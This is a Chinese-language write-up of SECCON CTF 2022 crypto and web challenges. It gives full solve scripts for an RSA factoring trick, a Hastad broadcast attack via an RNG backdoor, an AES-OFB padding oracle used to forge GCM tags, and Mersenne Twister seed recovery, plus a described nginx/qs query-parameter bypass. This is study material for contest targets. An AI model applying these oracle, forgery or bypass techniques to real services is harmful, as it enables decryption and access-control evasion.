SECCON CTF 2022 Writeups

發表於 2022-11-13

分類於 CTF

這次在 TSJ (實質 solo QQ) 解了些的題目，一樣有學到些東西所以也簡單紀錄一下做法。

Crypto

pqpq

from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537

assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)

assert m < n

c1p = pow(p, e, n)
c1q = pow(q, e, n)
cm = pow(m, e, n)
c1 = (c1p - c1q) % n
c2 = pow(p - q, e, n)

print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")

首先可得

\begin{aligned} c_1 &\equiv p^e - q^e \pmod{pq} \\ c_2 &\equiv (p-q)^e \equiv p^e + q^e \pmod{pq} \\ \end{aligned}

所以有 $\gcd(c_1+c_2,n)=p$ 和 $\gcd(c_1-c_2,n)=q$ ，就完全分解 $n$ 了。

再來是因為 $e = 2 \times 65537$ ，由於有 $2$ 的存在導致它不能直接 invert，但還是能求出 $m^2 \mod{n}$ 的值。之後就分別對 $p,q,r$ 算 sqrt 後 crt 回來即可。

from math import gcd
from Crypto.Util.number import long_to_bytes

e = 131074
n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866

# c1 = p^e - q^e mod pq
# c2 = p^e + q^e mod pq
# c1 + c2 = 2p^e mod pq

p = gcd(c1 + c2, n)
q = gcd(c1 - c2, n)
r = n // (p * q)
d = pow(e // 2, -1, (p - 1) * (q - 1) * (r - 1))
m2 = pow(cm, d, n)

for mp in GF(p)(m2).sqrt(all=True):
    for mq in GF(q)(m2).sqrt(all=True):
        for mr in GF(r)(m2).sqrt(all=True):
            m = crt([ZZ(mp), ZZ(mq), ZZ(mr)], [p, q, r])
            print(long_to_bytes(int(m)))
# SECCON{being_able_to_s0lve_this_1s_great!}

BBB

from Crypto.Util.number import bytes_to_long, getPrime
from random import randint
from math import gcd
from secret import FLAG
from os import urandom


assert len(FLAG) < 100


def generate_key(rng, seed):
    e = rng(seed)
    while True:
        for _ in range(randint(10,100)):
            e = rng(e)
        p = getPrime(1024)
        q = getPrime(1024)
        phi = (p-1)*(q-1)
        if gcd(e, phi) == 1:
            break

    n = p*q
    return (n, e)


def generate_params():
    p = getPrime(1024)
    a = randint(0, p-1)

    return (p,a)


def main():
    p,a = generate_params()
    print("[+] The parameters of RNG:")
    print(f"{a=}")
    print(f"{p=}")
    b = int(input("[+] Inject [b]ackdoor!!: "))
    rng = lambda x: (x**2 + a*x + b) % p

    keys = []
    seeds = []
    for i in range(5):
        seed = int(input("[+] Please input seed: "))
        seed %= p
        if seed in seeds:
            print("[!] Same seeds are not allowed!!")
            exit()
        seeds.append(seed)
        n, e = generate_key(rng, seed)
        if e <= 10:
            print("[!] `e` is so small!!")
            exit()

        keys.append((n,e))

    flag = bytes_to_long(FLAG + urandom(16))
    for n,e in keys:
        c = pow(flag, e, n)
        print("[+] Public Key:")
        print(f"{n=}")
        print(f"{e=}")
        print("[+] Cipher Text:", c)


if __name__ == "__main__":
    main()

可以注意到 flag 最多 116 bytes，而 $e$ 最小只能是 $11$ ，而 $116 \times 8 \times 11 < 2048 \times 5$ ，因此可知是要用 hastad broadcast attack。

要達成 hastad broadcast attack 需要讓五次的 $e=11$ 才行，所以需要對 rng 動些手腳才行。首先從 generate_key 裡面的迴圈數量又不定讓我想到找不動點 $f(x)=x$ ，但是由於它不允許重複使用 seed，所以我想找 $f(f(f(f(f(x)))))=x$ 的值，且 $x=e=11$ ，這部分用 sage 很好達成。

找到之後可以用 $x,f(x),f(f(x)),f(f(f(x))),f(f(f(f(x))))$ 當作 seed 傳送過去，運氣好只要迴圈次數都對的話最後出來的 $e=11$ 就能解掉這題了。

然而這題有個問題在於它 remote 在 generate_key 的時候很花時間，再來前面的運氣好實際上也只有 $\frac{1}{5}^5$ 的機率，所以要找方法改善這個方法。

我注意到它還會 check gcd(e, phi) == 1，所以只要 $e$ 是偶數的話肯定不會 return，因此只要讓 $x,f(x),f(f(x)),f(f(f(x))),f(f(f(f(x))))$ 裡面只有 $x$ 是奇數，其他都是偶數就能成了。

這樣成功的把 bruteforce 的時間縮短點，然後之後就多試幾次就行了。

from pwn import process, remote
from Crypto.Util.number import long_to_bytes

# io = process(["python", "chall.py"])
io = remote("BBB.seccon.games", 8080)
io.recvuntil(b"a=")
a = int(io.recvline().strip())
io.recvuntil(b"p=")
p = int(io.recvline().strip())


F = GF(p)

E = 11
P.<x, b> = F[]
f = x ^ 2 + a * x + b
bs = (
    (f(f(f(f(f, b), b), b), b)(E, b) - E)
    .univariate_polynomial()
    .roots(multiplicities=False)
)

for b in bs:
    print("=" * 40)
    P.<x> = F[]
    f = x ^ 2 + a * x + b
    isgood = False
    v = E
    seeds = set()
    for i in range(10):
        print(i, v)
        seeds.add(int(v))
        v = f(v)
        if v != E:
            # we don't want all same value
            isgood = True
    if isgood:
        break
print(f"{b = }")
print(f"{seeds = }")
if len(seeds) != 5 or not all([s % 2 == 0 for s in set(seeds) - {E}]):
    print("bad seeds :(")
    exit()
io.recvuntil(b"!!: ")
io.sendline(str(b).encode())
for seed in seeds:
    io.recvuntil(b"seed: ")
    io.sendline(str(seed).encode())
ns = []
cs = []
for _ in range(5):
    io.recvuntil(b"Public Key:")
    io.recvuntil(b"n=")
    n = int(io.recvline().strip())
    io.recvuntil(b"e=")
    e = int(io.recvline().strip())
    io.recvuntil(b"Cipher Text: ")
    c = int(io.recvline().strip())
    print(f"#{_}")
    print(f"{n = }")
    print(f"{e = }")
    print(f"{c = }")
    if e != E:
        print("bad e :(", _)
        exit()
    ns.append(n)
    cs.append(c)
print(f"{ns = }")
print(f"{cs = }")
c = crt(cs, ns)
print(f"{c = }")
m = c.nth_root(E)
print(long_to_bytes(m))
# for i in $(seq 1 16); do python -u test.sage.py > out/out$i.txt &; done
# SECCON{Can_you_find_d_in_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbdbbbbbbbbbbbbbbbbbbbbbbbbbbbbb?}

其實這邊還有個比較好的方法，不用像我這樣 bruteforce，就是先讓 $f(s)=11$ ，然後再找 $f(s')=s$ ，之後再找 $f(s'')=s'$ 以此類推，因為它迴圈的次數都 10 次以上，這個方法可以保證最後的結果都是 $e=11$ 。參考 4yn 的 writeup。

this_is_not_lsb

from Crypto.Util.number import *
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
e = 65537
n = p * q
phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)

print(f"n = {n}")
print(f"e = {e}")
print(f"flag_length = {flag.bit_length()}")

# Oops! encrypt without padding!
c = pow(flag, e, n)
print(f"c = {c}")

# padding format: 0b0011111111........
def check_padding(c):
    padding_pos = n.bit_length() - 2
    m = pow(c, d, n)

    return (m >> (padding_pos - 8)) == 0xFF


while True:
    c = int(input("c = "))
    print(check_padding(c))

看到這題的第一眼我想到的是 rsa interval oracle iv，所以直接套用相同的 LLL 方法就解掉了。

from pwn import process, remote
import random
import gmpy2


def pow(a, b, c):
    return int(gmpy2.powmod(a, b, c))


# io = process(["python", "problem2.py"])
io = remote("this-is-not-lsb.seccon.games", 8080)
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
io.recvuntil(b"flag_length = ")
flag_length = int(io.recvline())
io.recvuntil(b"c = ")
c = int(io.recvline())

# def oracle(c):
#     io.sendlineafter(b'c = ', str(c).encode())
#     return io.recvline().strip() == b'True'

k = n.bit_length() - 2 - 8
L = 0xFF << k
R = L + (1 << k) - 1
B = 1 << flag_length


def batch_oracle(cc):
    io.sendline("\n".join(map(str, cc)).encode())
    res = []
    for _ in range(len(cc)):
        io.recvuntil(b"c = ")
        res.append(io.recvline().strip() == b"True")
    return res


good = []
while len(good) < flag_length // 10 + 15:
    aa = [random.randrange(1, n) for _ in range(2048)]
    cc = [pow(a, e, n) * c % n for a in aa]
    res = batch_oracle(cc)
    good += [a for a, r in zip(aa, res) if r]
    print("cur", len(good))
print(len(good))

M = matrix(good).stack(matrix.identity(len(good)) * n)
M = matrix([1] + len(good) * [0]).T.augment(M)
load("solver.sage")
_, _, fin = solve(M, [0] + [L] * len(good), [B] + [R] * len(good))
print(fin[0])
# 923527005889600515717927945977637659146494233475843599679540322066522531810019204383510355169667412726034587411782045475101164773757
# SECCON{WeLC0me_t0_tHe_MirRoR_LaNd!_tHIs_is_lSb_orAcLe!}

不過這很明顯非 intended，預期做法是單純的 binary search 而已 XD。就 $am \approx K$ ，然後對 $a$ 去搜而已。

insufficient

from random import randint
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG


# f(x,y,z) = a1*x + a2*x^2 + a3*x^3
#          + b1*y + b2*y^2 + b3*y^3
#          + c*z + s mod p
def calc_f(coeffs, x, y, z, p):
    ret = 0
    ret += x * coeffs[0] + pow(x, 2, p) * coeffs[1] + pow(x, 3, p)*coeffs[2]
    ret += y * coeffs[3] + pow(y, 2, p) * coeffs[4] + pow(y, 3, p)*coeffs[5]
    ret += z * coeffs[6]
    ret += coeffs[7]

    return ret % p


p = getPrime(512)


# [a1, a2, a3, b1, b2, b3, c, s]
coeffs = [randint(0, 2**128) for _ in range(8)]

key = 0
for coeff in coeffs:
    key <<= 128
    key ^= coeff

cipher_text = bytes_to_long(FLAG) ^ key
print(cipher_text)

shares = []
for _ in range(4):
    x = randint(0, p)
    y = randint(0, p)
    z = randint(0, 2**128)

    w = calc_f(coeffs, x, y, z, p)
    packed_share = ((x,y), w)
    shares.append(packed_share)

print(p)
print(shares)

這題有個 trivariate 的函數 $f(x,y,z)$ ，一共有 8 個未知數。再來它給你四個點的值 $w \equiv f(x,y,z) \pmod{p}$ 和 $x,y$ 。 (注意，這邊沒有給 $z$ )

方法也很明顯，就是它的未知數和 $z$ 座標的值都只有 128 bits，而 $p$ 卻是 $512$ bits 的，所以大概是和 LLL 有關的。

反正先把所有的 coeffs 和 z 當未知數列，一共會得到四個等式，然後把 2 terms 的 monomial (如 $c z_1$ , $c z_2$ ) 一樣當作一個獨立的 term 來看到就能得到一個 underdetermined linear system。

然後之後一樣套 CVP solver 會得到一些解，在 local 測試會發現 $a_i, b_i$ 的值都是正確的，但是 $c z_i, s$ 等的值都是錯的。

自己測試一下會發現算出來錯誤的 $c' z_i', s'$ 實際上和真實的值相差不遠，有以下的關係:

\begin{aligned} c' z_i' &= c z_i + k \\ s' &= s - k \end{aligned}

有加 $'$ 指的是錯誤的值

所以相減後 gcd 就能拿到正確的 $c$ ，之後猜一下 $k$ 的正負就能得到 $z_i$ ，然後就能算出 $s$ 把整個 flag 還原了。

後來我想了一想出現這個問題的地方其實是和它那個函數 $f$ 有關，因為

f(x,y,z) = a_1 x + a_2 x^2 + a_3 x^3 + b_1 y + b_2 y^2 + b_3 y^3 + c z + s

注意一下 $c,z,s$ 都是未知數，也就是它們都屬於常數項，所以自然 $s$ 和 $c z_i$ 會有那些 $k$ 的關係在。

from sage.all import *
from random import randint
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from itertools import product
from functools import reduce


with open("output.txt") as f:
    cipher_text = eval(f.readline())
    p = eval(f.readline())
    shares = eval(f.readline())

F = GF(p)
P = PolynomialRing(F, "a1,a2,a3,b1,b2,b3,c,s,z1,z2,z3,z4")
a1, a2, a3, b1, b2, b3, c, s, *zs = P.gens()
nvars = len(P.gens())

eqs = []
for ((x, y), w), z in zip(shares, zs):
    ww = (
        a1 * x
        + a2 * x**2
        + a3 * x**3
        + b1 * y
        + b2 * y**2
        + b3 * y**3
        + c * z
        + s
    )
    eqs.append(ww - w)

M, v = Sequence(eqs).coefficient_matrix()
v = vector(v)[:-1]
M = M.dense_matrix().T.change_ring(ZZ)
target = -M[-1]
M = M[:-1]
nr, nc = M.dimensions()
print(nr, nc)
IP = matrix.identity(nc) * p
I = matrix.identity(nr)
Z = matrix.zero(nc, nr)
B = block_matrix(ZZ, [[M, I], [IP, Z]])
print(B.change_ring(Zmod(10)))

load("solver.sage")
lb = list(target) + [0] * nr
ub = list(target) + [ZZ(mono((2**128,) * nvars)) for mono in v]
result, applied_weights, fin = solve(B, lb, ub)
res = [x // y for x, y in zip(result, applied_weights)]
print(v)
print(vector(res))
cz1, cz2, cz3, cz4, a1, a2, a3, b1, b2, b3, s = res[nc:]

# a1,a2,a3,b1,b2,b3 are correct here
# but cz1,cz2,cz3,cz4,s are not...
# it seems cz1 is actually c*z1+k
#      and cz2 is actually c*z2+k
# and s is actuall s-k

czs = [cz1, cz2, cz3, cz4]
diffs = [x - y for x, y in product(czs, repeat=2)]
c = reduce(gcd, diffs)
z1, z2, z3, z4 = [x // c + 1 for x in czs]
k = cz1 - c * z1
assert k == cz2 - c * z2
s += k

roots = [a1, a2, a3, b1, b2, b3, c, s, z1, z2, z3, z4]
for eq in eqs:
    assert eq(*roots) == 0


key = 0
for coeff in [a1, a2, a3, b1, b2, b3, c, s]:
    key <<= 128
    key ^= coeff
flag = long_to_bytes(cipher_text ^ key)
print(flag)
# SECCON{Unfortunately_I_could_not_come_up_with_a_more_difficult_problem_than_last_year_sorry...-6fc18307d3ed2e7673a249abc2e0e22c}

witches_symmetric_exam

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flag import flag, secret_spell

key = get_random_bytes(16)
nonce = get_random_bytes(16)


def encrypt():
    data = secret_spell
    gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data)

    ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)

    ofb_iv = get_random_bytes(16)
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)
    ciphertext = ofb_cipher.encrypt(ofb_input)
    return ofb_iv + ciphertext


def decrypt(data):
    ofb_iv = data[:16]
    ofb_ciphertext = data[16:]
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)

    try:
        m = ofb_cipher.decrypt(ofb_ciphertext)
        temp = unpad(m, 16)
    except:
        return b"ofb error"

    try:
        gcm_tag = temp[:16]
        gcm_nonce = temp[16:32]
        gcm_ciphertext = temp[32:]
        gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)

        plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
    except:
        return b"gcm error"

    if b"give me key" == plaintext:
        your_spell = input("ok, please say secret spell:").encode()
        if your_spell == secret_spell:
            return flag
        else:
            return b"Try Harder"

    return b"ok"


print(f"ciphertext: {encrypt().hex()}")
while True:
    c = input("ciphertext: ")
    print(decrypt(bytes.fromhex(c)))

這題是個看起來很複雜，但概念很簡單，然而實作又更加複雜的一個題目==。

這題關鍵在於它有 AES-OFB 的 padding oracle，由於 OFB 的 encrypt 和 decrypt 是相同的，可以利用 oracle 來達成任意 plaintext 的加密，也就是能寫出一個 $E_k$ 函數。有 $E_k$ 之後要解密 OFB 很簡單，因為它就只是個 xor 而已。

而 GCM 的部分在有 $E_k$ 之後也是很簡單，因為 Auth Key 就是用 $E_k$ 生成的 ( $H = E_k(0^{128})$ )，所以我們有辦法對任何 ciphertext 去 forge auth tag，然後也就能控制解密出的 plaintext 的內容。

用 padding oracle 實作 $E_k$ 和 CBC padding oracle 很類似，實作上真正困難的是怎麼利用一個 $E_k$ 函數去模擬 GCM 的所有操作。我這邊是透過去讀 pycryptodome 的內部實作，然後自己 monkeypatch 掉一些會用到的部分之後就能用 $E_k$ 模擬 GCM 了。

from pwn import process, remote
import ast
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher._mode_gcm import _GHASH, _ghash_portable as ghash_c
from Crypto.Util.number import *

# io = process(["python", "problem.py"])
io = remote("witches-symmetric-exam.seccon.games", 8080)
io.recvuntil(b"ciphertext: ")
ciphertext = bytes.fromhex(io.recvline().decode().strip())


def decrypt(ct, ret=True):
    io.sendlineafter(b"ciphertext: ", ct.hex().encode())
    if ret:
        return ast.literal_eval(io.recvline().strip().decode())


def batch_decrypt(cts):
    io.sendline("\n".join(map(bytes.hex, cts)).encode())
    res = []
    for _ in range(len(cts)):
        io.recvuntil(b"ciphertext: ")
        r = ast.literal_eval(io.recvline().strip().decode())
        res.append(r)
    return res


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


def ecb_enc(pt):
    print("Encrypting", pt)
    assert len(pt) == 16
    result = b""
    for i in range(16):
        pad = i + 1
        ct = bytearray([0] * 16)
        for j in range(256):
            ct[:i] = [pad ^ x for k, x in enumerate(result)]
            ct[i] = j

            if decrypt(pt + ct[::-1]) != b"ofb error":
                result += bytes([j ^ pad])
                break
        else:
            raise Exception(f"Padding oracle failed")
    return result[::-1]


def ecb_enc(pt):
    # optimized for remote using batch decryption oracle
    print("Encrypting", pt)
    assert len(pt) == 16
    result = b""
    for i in range(16):
        pad = i + 1
        cts = []
        ct = bytearray([0] * 16)
        for j in range(256):
            ct[:i] = [pad ^ x for k, x in enumerate(result)]
            ct[i] = j
            cts.append(bytes(ct))
        res = batch_decrypt([pt + ct[::-1] for ct in cts])
        for j, r in enumerate(res):
            if r != b"ofb error":
                result += bytes([j ^ pad])
                break
    return result[::-1]


def ofb_decrypt(iv, ct):
    pt = b""
    for i in range(0, len(ct), 16):
        iv = ecb_enc(iv)
        pt += xor(iv, ct[i : i + 16])
    return pt


ofb_iv = ciphertext[:16]
ofb_ciphertext = ciphertext[16:]
ofb_input = ofb_decrypt(ofb_iv, ofb_ciphertext)
print(ofb_input)
ofb_stream = xor(ofb_input, ofb_ciphertext)
print(ofb_stream)


def gcm_oracle(inp):
    inp = pad(inp, 16)
    assert len(inp) <= len(ofb_stream)
    return decrypt(ofb_iv + xor(ofb_stream, inp), ret=False)


gcm_concat = unpad(ofb_input, 16)
gcm_tag = gcm_concat[:16]
gcm_nonce = gcm_concat[16:32]
gcm_ciphertext = gcm_concat[32:]


class FakeCTR:
    def __init__(self, ecb_enc, initial_value, nonce):
        if isinstance(initial_value, bytes):
            initial_value = int.from_bytes(initial_value, "big")
        self.ecb_enc = ecb_enc
        self.initial_value = initial_value
        self.nonce = nonce
        self.ctr = (int.from_bytes(nonce, "big") << 32) | initial_value

    def encrypt(self, pt, output=None):
        ct = b""
        for i in range(0, len(pt), 16):
            ct += xor(self.ecb_enc(self.ctr.to_bytes(16, "big")), pt[i : i + 16])
            self.ctr += 1
        return ct


class FakeGCM:
    def __init__(self, ecb_enc, nonce):
        self.ecb_enc = ecb_enc
        self.nonce = nonce
        self.hash_subkey = ecb_enc(b"\x00" * 16)
        fill = (16 - (len(nonce) % 16)) % 16 + 8
        ghash_in = nonce + b"\x00" * fill + long_to_bytes(8 * len(nonce), 8)
        self.j0 = _GHASH(self.hash_subkey, ghash_c).update(ghash_in).digest()
        self.nonce_ctr = self.j0[:12]
        self.iv_ctr = (bytes_to_long(self.j0) + 1) & 0xFFFFFFFF

    def encrypt(self, msg):
        cip = AES.new(b"\x00" * 16, AES.MODE_GCM, nonce=gcm_nonce)
        cip._cipher = FakeCTR(ecb_enc, self.iv_ctr, self.nonce_ctr)
        cip._tag_cipher = FakeCTR(ecb_enc, self.j0, b"")
        cip._signer = _GHASH(self.hash_subkey, ghash_c)
        return cip.encrypt_and_digest(msg)


gcm = FakeGCM(ecb_enc, gcm_nonce)
ctr = FakeCTR(ecb_enc, gcm.iv_ctr, gcm.nonce_ctr)
secret_spell = xor(ctr.encrypt(b"\x00" * len(gcm_ciphertext)), gcm_ciphertext)
print(secret_spell)
ct, tag = gcm.encrypt(b"give me key")


gcm_oracle(tag + gcm_nonce + ct)
io.sendlineafter(b"spell:", secret_spell)
io.interactive()
# SECCON{you_solved_this!?I_g1ve_y0u_symmetr1c_cipher_mage_certificate}

如果要找 GCM 完全都自己處理的版本的話可以參考 rkm0959 的 solve script。

janken vs kurenaif

import os
import signal
import random
import secrets

FLAG = os.getenv("FLAG", "fake{cast a special spell}")


def janken(a, b):
    return (a - b + 3) % 3


signal.alarm(1000)
print("kurenaif: Hi, I'm a crypto witch. Let's a spell battle with me.")

witch_spell = secrets.token_hex(16)
witch_rand = random.Random()
witch_rand.seed(int(witch_spell, 16))
print(f"kurenaif: My spell is {witch_spell}. What about your spell?")

your_spell = input("your spell: ")
your_random = random.Random()
your_random.seed(int(your_spell, 16))

for _ in range(666):
    witch_hand = witch_rand.randint(0, 2)
    your_hand = your_random.randint(0, 2)

    if janken(your_hand, witch_hand) != 1:
        print("kurenaif: Could you come here the day before yesterday?")
        quit()

print("kurenaif: Amazing! Your spell is very powerful!!")
print(f"kurenaif: OK. The flag is here. {FLAG}")

這題單純要找到一個 Python 的 random object 可以產生出指定會勝利的 output 是很簡單，只要 z3 或是其他東西 solve 一下然後把 states 設定好就行了。然而困難的地方在於這題還要求那個 random object 是要可以用 seed 弄出來的，而不是每個 states 都有可能用一個 integer seed 生成的。

看一下 random_seed 的實作可以知道它會把 int 按 32 bits 切割，然後用 init_by_array 做一些很複雜的操作去把 state 初始化。

然後去查一下可以在 RNGeesus 的 mersenne.py 找到有人用 z3 嘗試把 states 逆轉回 seed 成功，所以我把它結合 icemonster/symbolic_mersenne_cracker 在一起，讓 z3 去解也真的成功了。這個方法的唯一缺點是它需要花上十幾分鐘才能解出來，不過因為題目給的時間限制也是 1000 秒，大概代表這是 intended 吧。

from z3 import *
from pwn import process, remote, context
import signal
import random
from itertools import count

context.log_level = "debug"

# io = process(["python", "server.py"])
io = remote("janken-vs-kurenaif.seccon.games", 8080)
io.recvuntil(b"is ")
THE_SEED = int(io.recvuntil(b".")[:-1].decode(), 16)
signal.alarm(1000)


def randbelow(r, n):
    k = n.bit_length()
    v = r.getrandbits(k)
    while v >= n:
        v = r.getrandbits(k)
    return v


def janken(a, b):
    return (a - b + 3) % 3


r1 = random.Random(THE_SEED)
vals = []
for _ in range(666):
    b = r1.randint(0, 2)
    a = (1 - 3 + b) % 3
    assert janken(a, b) == 1
    vals.append(a)


class Untwister:
    def __init__(self):
        self.ctr = count()
        name = next(self.ctr)
        self.init_MT = [BitVec(f"MT_{i}_{name}", 32) for i in range(624)]
        self.MT = self.symbolic_twist(self.init_MT)
        self.index = 0
        self.solver = Solver()
        self.subs = 0

    # This particular method was adapted from https://www.schutzwerk.com/en/43/posts/attacking_a_random_number_generator/
    def symbolic_untamper(self, solver, y):
        name = next(self.ctr)

        y1 = BitVec(f"y1_{name}", 32)
        y2 = BitVec(f"y2_{name}", 32)
        y3 = BitVec(f"y3_{name}", 32)
        y4 = BitVec(f"y4_{name}", 32)

        equations = [
            y2 == y1 ^ (LShR(y1, 11)),
            y3 == y2 ^ ((y2 << 7) & 0x9D2C5680),
            y4 == y3 ^ ((y3 << 15) & 0xEFC60000),
            y == y4 ^ (LShR(y4, 18)),
        ]

        solver.add(equations)
        return y1

    def symbolic_twist(
        self,
        MT,
        n=624,
        upper_mask=0x80000000,
        lower_mask=0x7FFFFFFF,
        a=0x9908B0DF,
        m=397,
    ):
        """
        This method models MT19937 function as a Z3 program
        """
        MT = [i for i in MT]  # Just a shallow copy of the state

        for i in range(n):
            x = (MT[i] & upper_mask) + (MT[(i + 1) % n] & lower_mask)
            xA = LShR(x, 1)
            xB = If(
                x & 1 == 0, xA, xA ^ a
            )  # Possible Z3 optimization here by declaring auxiliary symbolic variables
            MT[i] = MT[(i + m) % n] ^ xB

        return MT

    def get_symbolic(self, guess):
        name = next(self.ctr)
        ERROR = 'Must pass a string like "?1100???1001000??0?100?10??10010" where ? represents an unknown bit'

        assert type(guess) == str, ERROR
        assert all(map(lambda x: x in "01?", guess)), ERROR
        assert len(guess) <= 32, "One 32-bit number at a time please"
        guess = guess.zfill(32)

        self.symbolic_guess = BitVec(f"symbolic_guess_{name}", 32)
        guess = guess[::-1]

        for i, bit in enumerate(guess):
            if bit != "?":
                self.solver.add(Extract(i, i, self.symbolic_guess) == bit)

        return self.symbolic_guess

    def submit(self, guess):
        """
        You need 624 numbers to completely clone the state.
            You can input less than that though and this will give you the best guess for the state
        """
        self.subs += 1
        if self.index >= 624:
            name = next(self.ctr)
            next_mt = self.symbolic_twist(self.MT)
            self.MT = [BitVec(f"MT_{i}_{name}", 32) for i in range(624)]
            for i in range(624):
                self.solver.add(self.MT[i] == next_mt[i])
            self.index = 0

        symbolic_guess = self.get_symbolic(guess)
        symbolic_guess = self.symbolic_untamper(self.solver, symbolic_guess)
        self.solver.add(self.MT[self.index] == symbolic_guess)
        self.index += 1

    def get_random(self, skip_states=True):
        """
        This will give you a random.Random() instance with the cloned state.
        """
        print("Solving...")
        self.solver.check()
        model = self.solver.model()

        # Compute best guess for state
        state = list(map(lambda x: model[x].as_long(), self.init_MT))
        result_state = (3, tuple(state + [624]), None)
        r = random.Random()
        r.setstate(result_state)
        if skip_states:
            for _ in range(self.subs):
                r.getrandbits(32)
        return r


from RNGeesus.src.code_mersenne.mersenne import MT19937

num_seeds = 624
MT = [BitVecVal(i, 32) for i in MT19937(19650218).MT]
SEEDS = [BitVec(f"seed[{i}]", 32) for i in range(num_seeds)]
i, j = 1, 0
n = 624
for k in range(n):
    MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEEDS[j] + j
    i += 1
    j += 1
    if i >= n:
        MT[0] = MT[n - 1]
        i = 1
    if j == num_seeds:
        j = 0
for k in range(n - 1):
    MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i
    i += 1
    if i >= n:
        MT[0] = MT[n - 1]
        i = 1
MT[0] = BitVecVal(0x80000000, 32)

r1 = random.Random(THE_SEED)
ut = Untwister()
for i in range(624):
    ut.solver.add(ut.init_MT[i] == MT[i])
for v in vals:
    ut.submit(f"{v:02b}" + "?" * 30)
r2 = ut.get_random(skip_states=False)
for v in vals:
    assert janken(r2.randint(0, 2), r1.randint(0, 2)) == 1
m = ut.solver.model()
seeds = [m[s].as_long() for s in SEEDS]
print(seeds)


def array_to_int(arr):
    return int.from_bytes(
        b"".join([int.to_bytes(i, 4, "little") for i in arr]), "little"
    )


seed = array_to_int(seeds)
r1 = random.Random(THE_SEED)
r3 = random.Random(seed)
for v in vals:
    assert janken(r3.randint(0, 2), r1.randint(0, 2)) == 1

io.sendline(hex(seed).encode())
io.interactive()
# SECCON{https://youtu.be/h0GSFxoRhrc}

後來讀了 y011d4 的 writeup，發現他的 solve script 只要約 20 秒就能解出來了…
看來我應該研究一下他的 z3 用法，或許能讓我的 script 更快一點

Web

skipinx

const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
  console.log(req.query)
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});

然後在這個 server 前有個 nginx 在:

server {
  listen 8080 default_server;
  server_name nginx;

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}

單從 set $args 那行我想不到什麼方法繞，所以就去研究 express.js 處理 query string 的 qs module 了。當它出現重複的 key 時預設會把它變成 array，所以 req.query.proxy.includes("nginx") 仍然會是 true，所以這樣是繞不過的。

後來去讀了它裡面的 code 發現有 parameterLimit 這個選項存在，而它會被用到 split() 的最大切分數量那邊，所以只要塞超過一些個 & 就會讓最後面的 &proxy=nginx 不會當成獨立的選項處理，因此就能繞過。

